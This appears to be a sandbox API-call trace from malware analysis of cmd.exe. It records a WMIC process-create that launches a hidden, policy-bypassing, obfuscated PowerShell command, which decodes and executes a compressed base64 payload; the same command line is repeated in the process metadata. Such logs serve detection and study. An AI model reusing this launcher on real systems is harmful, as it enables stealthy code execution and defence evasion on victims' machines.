(_String1="+$", _String2="\"\"", _MaxCount=0x2) returned 9 [0086.791] _wcsnicmp (_String1="$P", _String2="\"\"", _MaxCount=0x2) returned 2 [0086.791] _wcsnicmp (_String1="Ps", _String2="\"\"", _MaxCount=0x2) returned 78 [0086.791] _wcsnicmp (_String1="sh", _String2="\"\"", _MaxCount=0x2) returned 81 [0086.791] _wcsnicmp (_String1="ho", _String2="\"\"", _MaxCount=0x2) returned 70 [0086.791] _wcsnicmp (_String1="oM", _String2="\"\"", _MaxCount=0x2) returned 77 [0086.791] _wcsnicmp (_String1="ME", _String2="\"\"", _MaxCount=0x2) returned 75 [0086.791] _wcsnicmp (_String1="E[", _String2="\"\"", _MaxCount=0x2) returned 67 [0086.791] _wcsnicmp (_String1="[3", _String2="\"\"", _MaxCount=0x2) returned 57 [0086.791] _wcsnicmp (_String1="34", _String2="\"\"", _MaxCount=0x2) returned 17 [0086.791] _wcsnicmp (_String1="4]", _String2="\"\"", _MaxCount=0x2) returned 18 [0086.791] _wcsnicmp (_String1="]+", _String2="\"\"", _MaxCount=0x2) returned 59 [0086.792] _wcsnicmp (_String1="+'", _String2="\"\"", _MaxCount=0x2) returned 9 [0086.792] _wcsnicmp (_String1="'X", _String2="\"\"", _MaxCount=0x2) returned 5 [0086.792] _wcsnicmp (_String1="X'", _String2="\"\"", _MaxCount=0x2) returned 86 [0086.792] _wcsnicmp (_String1="')", _String2="\"\"", _MaxCount=0x2) returned 5 [0086.792] _wcsnicmp (_String1=")(", _String2="\"\"", _MaxCount=0x2) returned 7 [0086.792] _wcsnicmp (_String1="( ", _String2="\"\"", _MaxCount=0x2) returned 6 [0086.792] _wcsnicmp (_String1=" \"", _String2="\"\"", _MaxCount=0x2) returned -2 [0086.792] _wcsnicmp (_String1="\"\"", _String2="\"\"", _MaxCount=0x2) returned 0 [0086.792] _wcsnicmp (_String1="\\\"", _String2="\"\"", _MaxCount=0x2) returned 58 [0086.792] _wcsnicmp (_String1="\"\"", _String2="\"\"", _MaxCount=0x2) returned 0 [0086.792] _wcsnicmp (_String1="(n", _String2="\"\"", _MaxCount=0x2) returned 6 [0086.792] _wcsnicmp (_String1="nE", _String2="\"\"", _MaxCount=0x2) returned 76 [0086.792] _wcsnicmp (_String1="Ew", _String2="\"\"", _MaxCount=0x2) returned 67 [0086.792] _wcsnicmp (_String1="w-", _String2="\"\"", _MaxCount=0x2) returned 85 [0086.792] _wcsnicmp (_String1="-o", _String2="\"\"", _MaxCount=0x2) returned 11 [0086.792] _wcsnicmp (_String1="ob", _String2="\"\"", _MaxCount=0x2) returned 77 [0086.792] _wcsnicmp (_String1="bj", _String2="\"\"", _MaxCount=0x2) returned 64 [0086.792] _wcsnicmp (_String1="je", _String2="\"\"", _MaxCount=0x2) returned 72 [0086.792] _wcsnicmp (_String1="ec", _String2="\"\"", _MaxCount=0x2) returned 67 [0086.792] _wcsnicmp (_String1="ct", _String2="\"\"", _MaxCount=0x2) returned 65 [0086.792] _wcsnicmp (_String1="t ", _String2="\"\"", _MaxCount=0x2) returned 82 [0086.792] _wcsnicmp (_String1=" I", _String2="\"\"", _MaxCount=0x2) returned -2 [0086.792] _wcsnicmp (_String1="Io", _String2="\"\"", _MaxCount=0x2) returned 71 [0086.792] _wcsnicmp (_String1="o.", _String2="\"\"", _MaxCount=0x2) returned 77 [0086.792] _wcsnicmp (_String1=".c", _String2="\"\"", _MaxCount=0x2) returned 12 [0086.792] _wcsnicmp (_String1="cO", _String2="\"\"", _MaxCount=0x2) returned 65 [0086.792] _wcsnicmp (_String1="OM", _String2="\"\"", _MaxCount=0x2) returned 77 [0086.792] _wcsnicmp (_String1="Mp", _String2="\"\"", _MaxCount=0x2) returned 75 [0086.792] _wcsnicmp (_String1="pr", _String2="\"\"", _MaxCount=0x2) returned 78 [0086.792] _wcsnicmp (_String1="re", _String2="\"\"", _MaxCount=0x2) returned 80 [0086.792] _wcsnicmp (_String1="es", _String2="\"\"", _MaxCount=0x2) returned 67 [0086.792] _wcsnicmp (_String1="ss", _String2="\"\"", _MaxCount=0x2) returned 81 [0086.793] _wcsnicmp (_String1="si", _String2="\"\"", _MaxCount=0x2) returned 81 [0086.793] _wcsnicmp (_String1="io", _String2="\"\"", _MaxCount=0x2) returned 71 [0086.793] _wcsnicmp (_String1="oN", _String2="\"\"", _MaxCount=0x2) returned 77 [0086.793] _wcsnicmp (_String1="N.", _String2="\"\"", _MaxCount=0x2) returned 76 [0086.793] _wcsnicmp (_String1=".D", _String2="\"\"", _MaxCount=0x2) returned 12 [0086.793] _wcsnicmp (_String1="De", _String2="\"\"", _MaxCount=0x2) returned 66 [0086.793] _wcsnicmp (_String1="ef", _String2="\"\"", _MaxCount=0x2) returned 67 [0086.793] _wcsnicmp (_String1="fL", _String2="\"\"", _MaxCount=0x2) returned 68 [0086.793] _wcsnicmp (_String1="La", _String2="\"\"", _MaxCount=0x2) returned 74 [0086.793] _wcsnicmp (_String1="at", _String2="\"\"", _MaxCount=0x2) returned 63 [0086.793] _wcsnicmp (_String1="te", _String2="\"\"", _MaxCount=0x2) returned 82 [0086.793] _wcsnicmp (_String1="es", _String2="\"\"", _MaxCount=0x2) returned 67 [0086.793] _wcsnicmp (_String1="sT", _String2="\"\"", _MaxCount=0x2) returned 81 [0086.793] _wcsnicmp (_String1="TR", _String2="\"\"", _MaxCount=0x2) returned 82 [0086.793] _wcsnicmp (_String1="Re", _String2="\"\"", _MaxCount=0x2) returned 80 [0086.793] _wcsnicmp (_String1="ea", _String2="\"\"", _MaxCount=0x2) returned 67 [0086.793] _wcsnicmp (_String1="aM", _String2="\"\"", _MaxCount=0x2) returned 63 [0086.793] _wcsnicmp (_String1="M(", _String2="\"\"", _MaxCount=0x2) returned 75 [0086.793] _wcsnicmp (_String1="([", _String2="\"\"", _MaxCount=0x2) returned 6 [0086.793] _wcsnicmp (_String1="[s", _String2="\"\"", _MaxCount=0x2) returned 57 [0086.793] _wcsnicmp (_String1="sy", _String2="\"\"", _MaxCount=0x2) returned 81 [0086.793] _wcsnicmp (_String1="ys", _String2="\"\"", _MaxCount=0x2) returned 87 [0086.793] _wcsnicmp (_String1="sT", _String2="\"\"", _MaxCount=0x2) returned 81 [0086.793] _wcsnicmp (_String1="Te", _String2="\"\"", _MaxCount=0x2) returned 82 [0086.793] _wcsnicmp (_String1="em", _String2="\"\"", _MaxCount=0x2) returned 67 [0086.793] _wcsnicmp (_String1="m.", _String2="\"\"", _MaxCount=0x2) returned 75 [0086.793] _wcsnicmp (_String1=".I", _String2="\"\"", _MaxCount=0x2) returned 12 [0086.793] _wcsnicmp (_String1="IO", _String2="\"\"", _MaxCount=0x2) returned 71 [0086.793] _wcsnicmp (_String1="O.", _String2="\"\"", _MaxCount=0x2) returned 77 [0086.793] _wcsnicmp (_String1=".M", _String2="\"\"", _MaxCount=0x2) returned 12 [0086.793] _wcsnicmp (_String1="ME", _String2="\"\"", _MaxCount=0x2) returned 75 [0086.793] _wcsnicmp (_String1="EM", _String2="\"\"", _MaxCount=0x2) returned 67 [0086.793] _wcsnicmp (_String1="Mo", _String2="\"\"", _MaxCount=0x2) returned 75 [0086.793] _wcsnicmp (_String1="oR", _String2="\"\"", _MaxCount=0x2) returned 77 [0086.793] _wcsnicmp (_String1="RY", _String2="\"\"", _MaxCount=0x2) returned 80 [0086.794] _wcsnicmp (_String1="YS", _String2="\"\"", _MaxCount=0x2) returned 87 [0086.794] _wcsnicmp (_String1="ST", _String2="\"\"", _MaxCount=0x2) returned 81 [0086.794] _wcsnicmp (_String1="TR", _String2="\"\"", _MaxCount=0x2) returned 82 [0086.794] _wcsnicmp (_String1="RE", _String2="\"\"", _MaxCount=0x2) returned 80 [0086.794] _wcsnicmp (_String1="Ea", _String2="\"\"", _MaxCount=0x2) returned 67 [0086.794] _wcsnicmp (_String1="am", _String2="\"\"", _MaxCount=0x2) returned 63 [0086.794] _wcsnicmp (_String1="m]", _String2="\"\"", _MaxCount=0x2) returned 75 [0086.794] _wcsnicmp (_String1="] ", _String2="\"\"", _MaxCount=0x2) returned 59 [0086.794] _wcsnicmp (_String1=" [", _String2="\"\"", _MaxCount=0x2) returned -2 [0086.794] _wcsnicmp (_String1="[C", _String2="\"\"", _MaxCount=0x2) returned 57 [0086.794] _wcsnicmp (_String1="CO", _String2="\"\"", _MaxCount=0x2) returned 65 [0086.794] _wcsnicmp (_String1="On", _String2="\"\"", _MaxCount=0x2) returned 77 [0086.794] _wcsnicmp (_String1="nv", _String2="\"\"", _MaxCount=0x2) returned 76 [0086.794] _wcsnicmp (_String1="vE", _String2="\"\"", _MaxCount=0x2) returned 84 [0086.794] _wcsnicmp (_String1="ER", _String2="\"\"", _MaxCount=0x2) returned 67 [0086.794] _wcsnicmp (_String1="RT", _String2="\"\"", _MaxCount=0x2) returned 80 [0086.794] _wcsnicmp (_String1="T]", _String2="\"\"", _MaxCount=0x2) returned 82 [0086.794] _wcsnicmp (_String1="]:", _String2="\"\"", _MaxCount=0x2) returned 59 [0086.794] _wcsnicmp (_String1="::", _String2="\"\"", _MaxCount=0x2) returned 24 [0086.794] _wcsnicmp (_String1=":f", _String2="\"\"", _MaxCount=0x2) returned 24 [0086.794] _wcsnicmp (_String1="fR", _String2="\"\"", _MaxCount=0x2) returned 68 [0086.794] _wcsnicmp (_String1="Ro", _String2="\"\"", _MaxCount=0x2) returned 80 [0086.794] _wcsnicmp (_String1="om", _String2="\"\"", _MaxCount=0x2) returned 77 [0086.794] _wcsnicmp (_String1="mb", _String2="\"\"", _MaxCount=0x2) returned 75 [0086.794] _wcsnicmp (_String1="ba", _String2="\"\"", _MaxCount=0x2) returned 64 [0086.794] _wcsnicmp (_String1="as", _String2="\"\"", _MaxCount=0x2) returned 63 [0086.794] _wcsnicmp (_String1="se", _String2="\"\"", _MaxCount=0x2) returned 81 [0086.794] _wcsnicmp (_String1="e6", _String2="\"\"", _MaxCount=0x2) returned 67 [0086.794] _wcsnicmp (_String1="64", _String2="\"\"", _MaxCount=0x2) returned 20 [0086.794] _wcsnicmp (_String1="4s", _String2="\"\"", _MaxCount=0x2) returned 18 [0086.794] _wcsnicmp (_String1="sT", _String2="\"\"", _MaxCount=0x2) returned 81 [0086.794] _wcsnicmp (_String1="Tr", _String2="\"\"", _MaxCount=0x2) returned 82 [0086.794] _wcsnicmp (_String1="rI", _String2="\"\"", _MaxCount=0x2) returned 80 [0086.794] _wcsnicmp (_String1="IN", _String2="\"\"", _MaxCount=0x2) returned 71 [0086.794] _wcsnicmp (_String1="NG", _String2="\"\"", _MaxCount=0x2) returned 76 [0086.795] _wcsnicmp (_String1="G(", _String2="\"\"", _MaxCount=0x2) returned 69 [0086.795] _wcsnicmp (_String1="('", _String2="\"\"", _MaxCount=0x2) returned 6 [0086.795] GetFileAttributesW (lpFileName="WMIC.exe" (normalized: "c:\\users\\aetadzjz\\desktop\\wmic.exe")) returned 0xffffffff [0086.795] _wcsicmp (_String1="WMIC", _String2="DIR") returned 19 [0086.795] _wcsicmp (_String1="WMIC", _String2="ERASE") returned 18 [0086.795] _wcsicmp (_String1="WMIC", _String2="DEL") returned 19 [0086.795] _wcsicmp (_String1="WMIC", _String2="TYPE") returned 3 [0086.795] _wcsicmp (_String1="WMIC", _String2="COPY") returned 20 [0086.795] _wcsicmp (_String1="WMIC", _String2="CD") returned 20 [0086.796] _wcsicmp (_String1="WMIC", _String2="CHDIR") returned 20 [0086.796] _wcsicmp (_String1="WMIC", _String2="RENAME") returned 5 [0086.796] _wcsicmp (_String1="WMIC", _String2="REN") returned 5 [0086.796] _wcsicmp (_String1="WMIC", _String2="ECHO") returned 18 [0086.796] _wcsicmp (_String1="WMIC", _String2="SET") returned 4 [0086.796] _wcsicmp (_String1="WMIC", _String2="PAUSE") returned 7 [0086.796] _wcsicmp (_String1="WMIC", _String2="DATE") returned 19 [0086.796] _wcsicmp (_String1="WMIC", _String2="TIME") returned 3 [0086.796] _wcsicmp (_String1="WMIC", _String2="PROMPT") returned 7 [0086.796] _wcsicmp (_String1="WMIC", _String2="MD") returned 10 [0086.796] _wcsicmp (_String1="WMIC", _String2="MKDIR") returned 10 [0086.796] _wcsicmp (_String1="WMIC", _String2="RD") returned 5 [0086.796] _wcsicmp (_String1="WMIC", _String2="RMDIR") returned 5 [0086.796] _wcsicmp (_String1="WMIC", _String2="PATH") returned 7 [0086.796] _wcsicmp (_String1="WMIC", _String2="GOTO") returned 16 [0086.796] _wcsicmp (_String1="WMIC", _String2="SHIFT") returned 4 [0086.796] _wcsicmp (_String1="WMIC", _String2="CLS") returned 20 [0086.796] _wcsicmp (_String1="WMIC", _String2="CALL") returned 20 [0086.796] _wcsicmp (_String1="WMIC", _String2="VERIFY") returned 1 [0086.796] _wcsicmp (_String1="WMIC", _String2="VER") returned 1 [0086.796] _wcsicmp (_String1="WMIC", _String2="VOL") returned 1 [0086.796] _wcsicmp (_String1="WMIC", _String2="EXIT") returned 18 [0086.796] _wcsicmp (_String1="WMIC", _String2="SETLOCAL") returned 4 [0086.796] _wcsicmp (_String1="WMIC", _String2="ENDLOCAL") returned 18 [0086.796] _wcsicmp (_String1="WMIC", _String2="TITLE") returned 3 [0086.796] _wcsicmp (_String1="WMIC", _String2="START") returned 4 [0086.796] _wcsicmp (_String1="WMIC", _String2="DPATH") returned 19 [0086.796] _wcsicmp (_String1="WMIC", _String2="KEYS") returned 12 [0086.796] _wcsicmp (_String1="WMIC", _String2="MOVE") returned 10 [0086.796] _wcsicmp (_String1="WMIC", _String2="PUSHD") returned 7 [0086.796] _wcsicmp (_String1="WMIC", _String2="POPD") returned 7 [0086.796] _wcsicmp (_String1="WMIC", _String2="ASSOC") returned 22 [0086.796] _wcsicmp (_String1="WMIC", _String2="FTYPE") returned 17 [0086.796] _wcsicmp (_String1="WMIC", _String2="BREAK") returned 21 [0086.797] _wcsicmp (_String1="WMIC", _String2="COLOR") returned 20 [0086.797] _wcsicmp (_String1="WMIC", _String2="MKLINK") returned 10 [0086.797] _wcsicmp (_String1="WMIC", _String2="DIR") returned 19 [0086.797] _wcsicmp (_String1="WMIC", _String2="ERASE") returned 18 [0086.797] _wcsicmp (_String1="WMIC", _String2="DEL") returned 19 [0086.797] _wcsicmp (_String1="WMIC", _String2="TYPE") returned 3 [0086.797] _wcsicmp (_String1="WMIC", _String2="COPY") returned 20 [0086.797] _wcsicmp (_String1="WMIC", _String2="CD") returned 20 [0086.797] _wcsicmp (_String1="WMIC", _String2="CHDIR") returned 20 [0086.797] _wcsicmp (_String1="WMIC", _String2="RENAME") returned 5 [0086.797] _wcsicmp (_String1="WMIC", _String2="REN") returned 5 [0086.797] _wcsicmp (_String1="WMIC", _String2="ECHO") returned 18 [0086.797] _wcsicmp (_String1="WMIC", _String2="SET") returned 4 [0086.797] _wcsicmp (_String1="WMIC", _String2="PAUSE") returned 7 [0086.797] _wcsicmp (_String1="WMIC", _String2="DATE") returned 19 [0086.797] _wcsicmp (_String1="WMIC", _String2="TIME") returned 3 [0086.797] _wcsicmp (_String1="WMIC", _String2="PROMPT") returned 7 [0086.797] _wcsicmp (_String1="WMIC", _String2="MD") returned 10 [0086.797] _wcsicmp (_String1="WMIC", _String2="MKDIR") returned 10 [0086.797] _wcsicmp (_String1="WMIC", _String2="RD") returned 5 [0086.797] _wcsicmp (_String1="WMIC", _String2="RMDIR") returned 5 [0086.797] _wcsicmp (_String1="WMIC", _String2="PATH") returned 7 [0086.797] _wcsicmp (_String1="WMIC", _String2="GOTO") returned 16 [0086.797] _wcsicmp (_String1="WMIC", _String2="SHIFT") returned 4 [0086.797] _wcsicmp (_String1="WMIC", _String2="CLS") returned 20 [0086.797] _wcsicmp (_String1="WMIC", _String2="CALL") returned 20 [0086.797] _wcsicmp (_String1="WMIC", _String2="VERIFY") returned 1 [0086.797] _wcsicmp (_String1="WMIC", _String2="VER") returned 1 [0086.797] _wcsicmp (_String1="WMIC", _String2="VOL") returned 1 [0086.797] _wcsicmp (_String1="WMIC", _String2="EXIT") returned 18 [0086.797] _wcsicmp (_String1="WMIC", _String2="SETLOCAL") returned 4 [0086.797] _wcsicmp (_String1="WMIC", _String2="ENDLOCAL") returned 18 [0086.797] _wcsicmp (_String1="WMIC", _String2="TITLE") returned 3 [0086.797] _wcsicmp (_String1="WMIC", _String2="START") returned 4 [0086.797] _wcsicmp (_String1="WMIC", _String2="DPATH") returned 19 [0086.798] _wcsicmp (_String1="WMIC", _String2="KEYS") returned 12 [0086.798] _wcsicmp (_String1="WMIC", _String2="MOVE") returned 10 [0086.798] _wcsicmp (_String1="WMIC", _String2="PUSHD") returned 7 [0086.798] _wcsicmp (_String1="WMIC", _String2="POPD") returned 7 [0086.798] _wcsicmp (_String1="WMIC", _String2="ASSOC") returned 22 [0086.798] _wcsicmp (_String1="WMIC", _String2="FTYPE") returned 17 [0086.798] _wcsicmp (_String1="WMIC", _String2="BREAK") returned 21 [0086.798] _wcsicmp (_String1="WMIC", _String2="COLOR") returned 20 [0086.798] _wcsicmp (_String1="WMIC", _String2="MKLINK") returned 10 [0086.798] _wcsicmp (_String1="WMIC", _String2="FOR") returned 17 [0086.798] _wcsicmp (_String1="WMIC", _String2="IF") returned 14 [0086.798] _wcsicmp (_String1="WMIC", _String2="REM") returned 5 [0086.798] _wcsnicmp (_String1="WMIC", _String2="cmd ", _MaxCount=0x4) returned 20 [0086.799] SetErrorMode (uMode=0x0) returned 0x8001 [0086.799] SetErrorMode (uMode=0x1) returned 0x0 [0086.799] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x6b470, lpFilePart=0x2eed00 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x2eed00*="Desktop") returned 0x19 [0086.799] SetErrorMode (uMode=0x8001) returned 0x1 [0086.799] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Program Files\\Microsoft Office\\root\\Client") returned 0x91 [0086.799] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0086.915] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0086.916] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0086.917] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0086.918] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0086.918] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0086.918] FindClose (in: hFindFile=0x69e80 | out: hFindFile=0x69e80) returned 1 [0086.918] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0086.918] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0086.918] GetConsoleTitleW (in: lpConsoleTitle=0x2eefc0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.918] InitializeProcThreadAttributeList (in: lpAttributeList=0x2eed78, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2eed38 | out: lpAttributeList=0x2eed78, lpSize=0x2eed38) returned 1 [0086.918] UpdateProcThreadAttribute (in: lpAttributeList=0x2eed78, dwFlags=0x0, Attribute=0x60001, lpValue=0x2eed28, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2eed78, lpPreviousValue=0x0) returned 1 [0086.919] GetStartupInfoW (in: lpStartupInfo=0x2eee90 | out: lpStartupInfo=0x2eee90*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="cmd , , /r ,%q4j:\"\"=\"%", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x0, hStdError=0x0)) [0086.919] lstrcmpW (lpString1="\\WMIC.exe", lpString2="\\XCOPY.EXE") returned -1 [0086.920] CreateProcessW (in: lpApplicationName="C:\\Windows\\System32\\Wbem\\WMIC.exe", lpCommandLine="WMIC.exe pRoCESs 'CAll' 'cReAte' \"poWerSHell -NOniNtErac -noPROFIlE -NoLogO -ExECUt bYpaSS -wINDOws hidDen & ( $pSHoMe[21]+$PshoME[34]+'X')( \"\\\"(nEw-object Io.cOMpressioN.DefLatesTReaM([sysTem.IO.MEMoRYSTREam] [COnvERT]::fRombase64sTrING('VZBba8IwGIb/SpAOEremtR5AixfaqfNGZQoblCJp+00zkqa02Wx1/vfFwy52+7zfe+ArmUApCAC0gIO9jD8h0f4oTe1NnQOyR2UJMhb1gklAjXVdapD0uWAHnu0avhWw4c38X6FjriXLMf5L1vQN4kBwyDShyxyyV2Apbuy1zsuB43DJdlB6lMtdrCqaKOl0PaftOsH05bg8rjpbRXNTSIhvQVHcO8e1hjBCXsd1fexS2iY/D6cPVQBL9tiqEM8utNvvE3Kyvr/E0MylM9ArXoEwB0/W9pYXWttmz3UfrSoa4lAyvY8Gg6lQqsD4YqRjO2ZZ2uqSZqtH7NjwK56hK0dGIOezP5+84/D+iA1Umk6yRKXmHSZttA7m80v5WheG4GutWee57U5EyC8=')\"\\\" + ([ChAr]44).ToSTRIng() + \"\\\"[IO.CoMpRESsiON.COmPRESsIoNModE]::dECOmPreSs ) | foREach-objECt{nEw-object SYsTEM.Io.stReAMREADeR( `$_\"\\\" + ([ChAr]44).ToSTRIng() + \"\\\"[systEM.tExt.eNcODiNG]::aSCiI)}| fOREacH-objECT {`$_.rEadToend() })| &( `$psHOMe[21]+`$PSHOME[30]+'x')\"\\\" ) \"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\aETAdzjz\\Desktop", lpStartupInfo=0x2eedb0*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="WMIC.exe pRoCESs 'CAll' 'cReAte' \"poWerSHell -NOniNtErac -noPROFIlE -NoLogO -ExECUt bYpaSS -wINDOws hidDen & ( $pSHoMe[21]+$PshoME[34]+'X')( \"\\\"(nEw-object Io.cOMpressioN.DefLatesTReaM([sysTem.IO.MEMoRYSTREam] [COnvERT]::fRombase64sTrING('VZBba8IwGIb/SpAOEremtR5AixfaqfNGZQoblCJp+00zkqa02Wx1/vfFwy52+7zfe+ArmUApCAC0gIO9jD8h0f4oTe1NnQOyR2UJMhb1gklAjXVdapD0uWAHnu0avhWw4c38X6FjriXLMf5L1vQN4kBwyDShyxyyV2Apbuy1zsuB43DJdlB6lMtdrCqaKOl0PaftOsH05bg8rjpbRXNTSIhvQVHcO8e1hjBCXsd1fexS2iY/D6cPVQBL9tiqEM8utNvvE3Kyvr/E0MylM9ArXoEwB0/W9pYXWttmz3UfrSoa4lAyvY8Gg6lQqsD4YqRjO2ZZ2uqSZqtH7NjwK56hK0dGIOezP5+84/D+iA1Umk6yRKXmHSZttA7m80v5WheG4GutWee57U5EyC8=')\"\\\" + ([ChAr]44).ToSTRIng() + \"\\\"[IO.CoMpRESsiON.COmPRESsIoNModE]::dECOmPreSs ) | foREach-objECt{nEw-object SYsTEM.Io.stReAMREADeR( `$_\"\\\" + ([ChAr]44).ToSTRIng() + \"\\\"[systEM.tExt.eNcODiNG]::aSCiI)}| fOREacH-objECT {`$_.rEadToend() })| &( `$psHOMe[21]+`$PSHOME[30]+'x')\"\\\" ) \"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2eed60 | out: lpCommandLine="WMIC.exe pRoCESs 'CAll' 'cReAte' \"poWerSHell -NOniNtErac -noPROFIlE -NoLogO -ExECUt bYpaSS -wINDOws hidDen & ( $pSHoMe[21]+$PshoME[34]+'X')( \"\\\"(nEw-object Io.cOMpressioN.DefLatesTReaM([sysTem.IO.MEMoRYSTREam] [COnvERT]::fRombase64sTrING('VZBba8IwGIb/SpAOEremtR5AixfaqfNGZQoblCJp+00zkqa02Wx1/vfFwy52+7zfe+ArmUApCAC0gIO9jD8h0f4oTe1NnQOyR2UJMhb1gklAjXVdapD0uWAHnu0avhWw4c38X6FjriXLMf5L1vQN4kBwyDShyxyyV2Apbuy1zsuB43DJdlB6lMtdrCqaKOl0PaftOsH05bg8rjpbRXNTSIhvQVHcO8e1hjBCXsd1fexS2iY/D6cPVQBL9tiqEM8utNvvE3Kyvr/E0MylM9ArXoEwB0/W9pYXWttmz3UfrSoa4lAyvY8Gg6lQqsD4YqRjO2ZZ2uqSZqtH7NjwK56hK0dGIOezP5+84/D+iA1Umk6yRKXmHSZttA7m80v5WheG4GutWee57U5EyC8=')\"\\\" + ([ChAr]44).ToSTRIng() + \"\\\"[IO.CoMpRESsiON.COmPRESsIoNModE]::dECOmPreSs ) | foREach-objECt{nEw-object SYsTEM.Io.stReAMREADeR( `$_\"\\\" + ([ChAr]44).ToSTRIng() + \"\\\"[systEM.tExt.eNcODiNG]::aSCiI)}| fOREacH-objECT {`$_.rEadToend() })| &( `$psHOMe[21]+`$PSHOME[30]+'x')\"\\\" ) \"", lpProcessInformation=0x2eed60*(hProcess=0x54, hThread=0x50, dwProcessId=0xaec, dwThreadId=0xaf0)) returned 1 [0087.230] CloseHandle (hObject=0x50) returned 1 [0087.230] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0087.230] GetEnvironmentStringsW () returned 0x6bb60* [0087.230] FreeEnvironmentStringsW (penv=0x6bb60) returned 1 [0087.230] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0091.329] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x2eeca8 | out: lpExitCode=0x2eeca8*=0x0) returned 1 [0091.330] CloseHandle (hObject=0x54) returned 1 [0091.330] _vsnwprintf (in: _Buffer=0x2eef18, _BufferCount=0x13, _Format="%08X", _ArgList=0x2eecb8 | out: _Buffer="00000000") returned 8 [0091.330] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0091.330] GetEnvironmentStringsW () returned 0x700c0* [0091.330] FreeEnvironmentStringsW (penv=0x700c0) returned 1 [0091.330] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0091.330] GetEnvironmentStringsW () returned 0x700c0* [0091.330] FreeEnvironmentStringsW (penv=0x700c0) returned 1 [0091.330] DeleteProcThreadAttributeList (in: lpAttributeList=0x2eed78 | out: lpAttributeList=0x2eed78) [0091.330] _get_osfhandle (_FileHandle=1) returned 0x7 [0091.330] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0091.330] _get_osfhandle (_FileHandle=1) returned 0x7 [0091.330] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x49d7e194 | out: lpMode=0x49d7e194) returned 1 [0091.331] _get_osfhandle (_FileHandle=0) returned 0x3 [0091.331] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x49d7e198 | out: lpMode=0x49d7e198) returned 1 [0091.331] SetConsoleInputExeNameW () returned 0x1 [0091.331] GetConsoleOutputCP () returned 0x1b5 [0091.331] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49d8bfe0 | out: lpCPInfo=0x49d8bfe0) returned 1 [0091.331] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0091.331] exit (_Code=0) Process: id = "6" image_name = "wmic.exe" filename = "c:\\windows\\system32\\wbem\\wmic.exe" page_root = "0x5a8aa000" os_pid = "0xaec" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0xae4" cmd_line = "WMIC.exe pRoCESs 'CAll' 'cReAte' \"poWerSHell -NOniNtErac -noPROFIlE -NoLogO -ExECUt bYpaSS -wINDOws hidDen & ( $pSHoMe[21]+$PshoME[34]+'X')( \"\\\"(nEw-object Io.cOMpressioN.DefLatesTReaM([sysTem.IO.MEMoRYSTREam] [COnvERT]::fRombase64sTrING('VZBba8IwGIb/SpAOEremtR5AixfaqfNGZQoblCJp+00zkqa02Wx1/vfFwy52+7zfe+ArmUApCAC0gIO9jD8h0f4oTe1NnQOyR2UJMhb1gklAjXVdapD0uWAHnu0avhWw4c38X6FjriXLMf5L1vQN4kBwyDShyxyyV2Apbuy1zsuB43DJdlB6lMtdrCqaKOl0PaftOsH05bg8rjpbRXNTSIhvQVHcO8e1hjBCXsd1fexS2iY/D6cPVQBL9tiqEM8utNvvE3Kyvr/E0MylM9ArXoEwB0/W9pYXWttmz3UfrSoa4lAyvY8Gg6lQqsD4YqRjO2ZZ2uqSZqtH7NjwK56hK0dGIOezP5+84/D+iA1Umk6yRKXmHSZttA7m80v5WheG4GutWee57U5EyC8=')\"\\\" + ([ChAr]44).ToSTRIng() + \"\\\"[IO.CoMpRESsiON.COmPRESsIoNModE]::dECOmPreSs ) | foREach-objECt{nEw-object SYsTEM.Io.stReAMREADeR( `$_\"\\\" + ([ChAr]44).ToSTRIng() + \"\\\"[systEM.tExt.eNcODiNG]::aSCiI)}| fOREacH-objECT {`$_.rEadToend() })| &( `$psHOMe[21]+`$PSHOME[30]+'x')\"\\\" ) \"" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" 